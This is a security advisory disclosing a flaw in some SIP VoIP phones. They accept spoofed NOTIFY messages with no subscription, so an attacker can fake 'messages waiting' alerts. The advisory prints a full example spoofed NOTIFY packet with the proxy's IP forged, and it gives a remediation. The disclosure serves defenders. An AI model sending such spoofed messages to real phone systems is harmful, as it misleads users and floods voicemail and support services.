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Notify Message Spoofing Vulnerability With VoIP Phones
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SUMMARY
The Session Initiation Protocol (SIP) is an application-layer control
(signaling) protocol for creating, modifying and terminating sessions with
one or more participants. These sessions include Internet multimedia
conferences, Internet telephone calls, multimedia distribution and instant
messaging. The SIP protocol is described in RFC3261 (with extensions
contained in RFC3265).
Due to ignoring the value of 'Call-ID' and even 'tag' and 'branch' while
processing NOTIFY messages, VoIP-Hard-phones process are vulnerable for
spoofing of status messages such as "Messages-Waiting".
DETAILS
Vulnerable Systems:
* Cisco 7940/7960
* Grandstream BT 100
* Other vendors might be vulnerable as well
According to RFC 3265, Chap 3.2 every NOTIFY has to be embedded in a
subscription mechanism. If there isn't any knowledge of a subscription,
the UAC has to responds with a "481 Subscription does not exist" message.
An attacker could send "Messages-Waiting: yes" messages to all phones
using the SIP-environment. Almost every phone processes this status
message and shows the user an icon or a blinking display to indicate that
new messages are available on the voice box. If the attacker sends this
message to many recipients in a huge environment, it would lead to server
peaks as many users will call the voice box at the same time. Because
there are no new voice messages as indicated by the phone the users will
call the support to fix this alleged server problem.
All tested phones process the message with a reseted Call-ID, 'branch' and
'tag' sent by a spoofed IP-Address.
Example:
Attacker spoofs the SIP-Proxy's IP, here: 10.1.1.1 Victim 10.1.1.2
UDP-Message from Attacker to Victim:
Session Initiation Protocol
Request-Line: NOTIFY sip:login@10.1.1.2 SIP/2.0
Message Header
Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
From: "asterisk" <sip:asterisk@10.1.1.1>;tag=000000000
To: <sip:login@10.1.1.2>
Contact: <sip:asterisk@10.1.1.1>
Call-ID: 00000000000000@10.1.1.1
CSeq: 102 NOTIFY
User-Agent: Asterisk PBX
Event: message-summary
Content-Type: application/simple-message-summary
Content-Length: 37
Message body
Messages-Waiting: yes\n
Voicemail: 3/2\n
Solution:
Phones who receive a NOTIFY message to which no subscription exists, must
send a "481 Subscription does not exist" response. It should be possible
to use the REGISTER request as a non-SUBSCRIBE mechanism to set up a valid
subscription.
This would reduce the possibility of an attack in a way, that only with a
sniffed and spoofed subscription such an attack would be possible.
Background is given by the way dialogs are described in RFC 3261 and the
sections 5.5 and 3.2 of RFC 3265.
ADDITIONAL INFORMATION
The information has been provided by
<mailto:tglemser@tele-consulting.com> Tobias Glemser .
The original article can be found at:
<http://pentest.tele-consulting.com/advisories/05_07_06_voip-phones.txt>
http://pentest.tele-consulting.com/advisories/05_07_06_voip-phones.txt
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